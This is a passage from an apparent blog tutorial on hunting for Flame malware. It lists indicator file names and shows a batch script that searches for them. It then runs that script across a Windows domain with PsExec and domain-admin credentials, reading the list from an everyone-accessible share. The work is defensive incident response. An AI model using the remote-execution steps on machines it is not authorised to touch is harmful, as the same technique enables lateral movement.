<code class="bash plain" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; min-height: inherit !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">mssecmgr.ocx</code></div>
<div class="line number48 index47 alt1" style="background-color: white !important; background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; float: none !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; min-height: inherit !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="bash plain" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; min-height: inherit !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">ntcache.dat</code></div>
<div class="line number49 index48 alt2" style="background-color: white !important; background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; float: none !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; min-height: inherit !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="bash plain" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; min-height: inherit !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">nteps32</code></div>
<div class="line number50 index49 alt1" style="background-color: white !important; background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; float: none !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; min-height: inherit !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="bash plain" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; min-height: inherit !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">nteps32.ocx</code></div>
<div class="line number51 index50 alt2" style="background-color: white !important; background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; float: none !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; min-height: inherit !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="bash plain" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; min-height: inherit !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">Pcldrvx.ocx</code></div>
<div class="line number52 index51 alt1" style="background-color: white !important; background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; float: none !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; min-height: inherit !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="bash plain" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; min-height: inherit !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">preg.exe</code></div>
<div class="line number53 index52 alt2" style="background-color: white !important; background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; float: none !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; min-height: inherit !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="bash plain" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; min-height: inherit !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">rccache.dat</code></div>
<div class="line number54 index53 alt1" style="background-color: white !important; background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; float: none !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; min-height: inherit !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="bash plain" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; min-height: inherit !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">SeCEdit</code></div>
<div class="line number55 index54 alt2" style="background-color: white !important; background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; float: none !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; min-height: inherit !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="bash plain" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; min-height: inherit !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">soapr32.ocx</code></div>
<div class="line number56 index55 alt1" style="background-color: white !important; background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; float: none !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; min-height: inherit !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="bash plain" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; min-height: inherit !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">sstab</code></div>
<div class="line number57 index56 alt2" style="background-color: white !important; background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; float: none !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; min-height: inherit !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="bash plain" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; min-height: inherit !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">stamn32</code></div>
<div class="line number58 index57 alt1" style="background-color: white !important; background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; float: none !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; min-height: inherit !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="bash plain" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; min-height: inherit !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">To691.tmp</code></div>
<div class="line number59 index58 alt2" style="background-color: white !important; background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; float: none !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; min-height: inherit !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="bash plain" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; min-height: inherit !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">urpd.ocx</code></div>
<div class="line number60 index59 alt1" style="background-color: white !important; background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; float: none !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; min-height: inherit !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="bash plain" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; min-height: inherit !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">wavesup3.drv</code></div>
<div class="line number61 index60 alt2" style="background-color: white !important; background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; float: none !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; min-height: inherit !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="bash plain" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; min-height: inherit !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">wlndh32</code></div>
<div class="line number62 index61 alt1" style="background-color: white !important; background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; float: none !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; min-height: inherit !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="bash plain" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; min-height: inherit !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">wrm3f0</code></div>
<div class="line number63 index62 alt2" style="background-color: white !important; background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; float: none !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; min-height: inherit !important; outline: 0px !important; overflow: visible !important; padding: 0px 1em !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; white-space: pre !important; width: auto !important;">
<code class="bash plain" style="background-image: none !important; border-bottom-left-radius: 0px !important; border-bottom-right-radius: 0px !important; border-top-left-radius: 0px !important; border-top-right-radius: 0px !important; border: 0px !important; bottom: auto !important; box-sizing: content-box !important; float: none !important; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace !important; font-size: 1em !important; height: auto !important; left: auto !important; line-height: 1.1em !important; margin: 0px !important; min-height: inherit !important; outline: 0px !important; overflow: visible !important; padding: 0px !important; position: static !important; right: auto !important; top: auto !important; vertical-align: baseline !important; width: auto !important;">zff042</code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
<div style="background-color: white; border: 0px; color: #373737; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 15px; line-height: 24px; margin-bottom: 1.625em; outline: 0px; padding: 0px; text-align: left; vertical-align: baseline;">
I saved them in a file called <code style="border: 0px; font-family: Monaco, Consolas, 'Andale Mono', 'DejaVu Sans Mono', monospace; font-size: 13px; line-height: normal; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Flame_File_List.txt</code></div>
<h1 style="background-color: white; border: 0px; clear: both; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 15px; line-height: 24px; margin: 0px 0px 0.8125em; outline: 0px; padding: 0px; text-align: left; vertical-align: baseline;">
Looking for a particular file (on a local machine)…</h1>
<address style="background-color: white; border: 0px; color: #373737; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 15px; font-style: inherit; line-height: 24px; margin: 0px 0px 1.625em; outline: 0px; padding: 0px; text-align: left; vertical-align: baseline;">
Before we dive into how to do it all over the domain, let’s try it on a local machine first… how about looking for “~DEB93D.tmp” in the local machine?:</address>
<address style="background-color: white; border: 0px; color: #373737; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 15px; font-style: inherit; line-height: 24px; margin: 0px 0px 1.625em; outline: 0px; padding: 0px; text-align: left; vertical-align: baseline;">
<img alt="" class="aligncenter size-full wp-image-28" height="288" src="http://eldeeb.net/wrdprs/wp-content/uploads/2012/06/falme_01.jpg" style="border: 1px solid rgb(221, 221, 221); clear: both; display: block; height: auto; margin-bottom: 1.625em; margin-left: auto; margin-right: auto; max-width: 97.5%; padding: 6px; width: auto;" title="falme_01" width="671" /></address>
<ol style="background-color: white; border: 0px; color: #373737; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 15px; line-height: 24px; list-style-image: initial; list-style-position: initial; margin: 0px 0px 1.625em 2.5em; outline: 0px; padding: 0px; text-align: left; vertical-align: baseline;">
<li style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Run -> cmd.exe</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">We change directory to the root “cd \”</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">dir /a /s -> /a means list all files, even system and hidden & /s means look in subdirectories.</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Specify the filename you are looking for “~DEB93D.tmp”.</li>
</ol>
<div style="background-color: white; border: 0px; color: #373737; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 15px; line-height: 24px; margin-bottom: 1.625em; outline: 0px; padding: 0px; text-align: left; vertical-align: baseline;">
As we can see, a file was found…</div>
<h1 style="background-color: white; border: 0px; clear: both; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 15px; line-height: 24px; margin: 0px 0px 0.8125em; outline: 0px; padding: 0px; text-align: left; vertical-align: baseline;">
Looking for a <span style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: underline; vertical-align: baseline;">LIST</span> of files (on a local machine)…</h1>
<div style="background-color: white; border: 0px; color: #373737; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 15px; line-height: 24px; margin-bottom: 1.625em; outline: 0px; padding: 0px; text-align: left; vertical-align: baseline;">
To look for all the files we’re interested in, save them in a file “Flame_File_List.txt”, then we’ll need a DOS Batch file to iterate through them, one by one.</div>
<div style="background-color: white; border: 0px; color: #373737; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 15px; line-height: 24px; margin-bottom: 1.625em; outline: 0px; padding: 0px; text-align: left; vertical-align: baseline;">
<img alt="" class="aligncenter size-full wp-image-30" height="146" src="http://eldeeb.net/wrdprs/wp-content/uploads/2012/06/flame_02.jpg" style="border: 1px solid rgb(221, 221, 221); clear: both; display: block; height: auto; margin: 0.4em auto 1.625em; max-width: 97.5%; padding: 6px; width: auto;" title="flame_02" width="546" /></div>
<div style="background-color: white; border: 0px; color: #373737; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 15px; line-height: 24px; margin-bottom: 1.625em; outline: 0px; padding: 0px; text-align: left; vertical-align: baseline;">
The batch file’s function is clear “idea taken from <a href="http://social.technet.microsoft.com/Forums/is/ITCG/thread/03238b56-df89-48bb-8698-30fa026863b3" style="border: 0px; color: #1982d1; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;" target="_blank">here</a>“, the only trick is at line 7…</div>
<ul style="background-color: white; border: 0px; color: #373737; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 15px; line-height: 24px; list-style: square; margin: 0px 0px 1.625em 2.5em; outline: 0px; padding: 0px; text-align: left; vertical-align: baseline;">
<li style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">If *no* files are found, “dir” returns “I am not successful”</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">The “||” means `in case the dir command failed, execute the goto instruction, but if the dir command succeeded, do not execute the goto instruction, just move to the next line”.</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">So, if “dir” failed, it will go to end of file (i.e. process next entry in the file list and WILL NOT execute the echo command)</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">BUT, if a file is found, then the batch file will output the time, date, computer name and the found malware file to a file called “Infections__File.log”</li>
</ul>
<div style="background-color: white; border: 0px; color: #373737; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 15px; line-height: 24px; margin-bottom: 1.625em; outline: 0px; padding: 0px; text-align: left; vertical-align: baseline;">
Now, put both files “the .bat and the filelist.txt” in the same directory, then run as admin…</div>
<div style="background-color: white; border: 0px; color: #373737; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 15px; line-height: 24px; margin-bottom: 1.625em; outline: 0px; padding: 0px; text-align: left; vertical-align: baseline;">
<img alt="" class="aligncenter size-full wp-image-32" height="286" src="http://eldeeb.net/wrdprs/wp-content/uploads/2012/06/falme_03.jpg" style="border: 1px solid rgb(221, 221, 221); clear: both; display: block; height: auto; margin: 0.4em auto 1.625em; max-width: 97.5%; padding: 6px; width: auto;" title="falme_03" width="519" /></div>
<div style="background-color: white; border: 0px; color: #373737; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 15px; line-height: 24px; margin-bottom: 1.625em; outline: 0px; padding: 0px; text-align: left; vertical-align: baseline;">
Once it is done, a file that contains all found file is created in your c:\</div>
<h1 style="background-color: white; border: 0px; clear: both; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 15px; line-height: 24px; margin: 0px 0px 0.8125em; outline: 0px; padding: 0px; text-align: left; vertical-align: baseline;">
Executing the BATCH script on <strong style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: underline; vertical-align: baseline;">*a*</span></strong> remote machine (using PsExec)…</h1>
<div style="background-color: white; border: 0px; color: #373737; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 15px; line-height: 24px; margin-bottom: 1.625em; outline: 0px; padding: 0px; text-align: left; vertical-align: baseline;">
<a href="http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx" style="border: 0px; color: #1982d1; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;" target="_blank">Psexec </a>gives us the option to (copy and run) our batch script on a remote machine, but the thing is that our batch looks for “Flame_File_List.txt” which cannot be copied alongside the .bat file, so, to accomplish that the steps will be as follows:</div>
<ol style="background-color: white; border: 0px; color: #373737; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 15px; line-height: 24px; list-style-image: initial; list-style-position: initial; margin: 0px 0px 1.625em 2.5em; outline: 0px; padding: 0px; text-align: left; vertical-align: baseline;">
<li style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Create an everyone-accessible network share on the investigation machine “\\investigation\flame\”</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Copy the “Flame_File_list.txt” to that network share.</li>
<li style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">Adjust the batch file to be like the image</li>
</ol>
<div style="background-color: white; border: 0px; color: #373737; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 15px; line-height: 24px; margin-bottom: 1.625em; outline: 0px; padding: 0px; text-align: left; vertical-align: baseline;">
<img alt="" class="aligncenter size-full wp-image-34" height="149" src="http://eldeeb.net/wrdprs/wp-content/uploads/2012/06/flame_03.jpg" style="border: 1px solid rgb(221, 221, 221); clear: both; display: block; height: auto; margin: 0.4em auto 1.625em; max-width: 97.5%; padding: 6px; width: auto;" title="flame_03" width="725" /></div>
<div style="background-color: white; border: 0px; color: #373737; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 15px; line-height: 24px; margin-bottom: 1.625em; outline: 0px; padding: 0px; text-align: left; vertical-align: baseline;">
Now we can execute this batch on remote machines without the need to copy it on a thumbdrive and going to each machine…</div>
<pre style="background-color: #f4f4f4; border: 0px; color: #373737; font-family: 'Courier 10 Pitch', Courier, monospace; font-size: 13px; line-height: 1.5; margin-bottom: 1.625em; outline: 0px; overflow: auto; padding: 0.75em 1.625em; text-align: left; vertical-align: baseline;"><code>psexec \\RemoteMachine -u domain\domainadmin -c Flame_LookForFile.bat</code></pre>
<h1 style="background-color: white; border: 0px; clear: both; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 15px; line-height: 24px; margin: 0px 0px 0.8125em; outline: 0px; padding: 0px; text-align: left; vertical-align: baseline;">
Executing the BATCH script on all the machines (using PsExec)…</h1>
<div style="background-color: white; border: 0px; color: #373737; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 15px; line-height: 24px; margin-bottom: 1.625em; outline: 0px; padding: 0px; text-align: left; vertical-align: baseline;">
Psexec also gives us the option to execute the commands on a list of computers in a file, that file format will be “one computer name or IP per line, NO “\\” AT THE BEGINNING”, you can populate that list using “dsquery -computer” or “net view” or any other way you find appropriate, the file has to look like this</div>
<ul style="background-color: white; border: 0px; color: #373737; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 15px; line-height: 24px; list-style: square; margin: 0px 0px 1.625em 2.5em; outline: 0px; padding: 0px; text-align: left; vertical-align: baseline;">
<li style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;">computer1</li>
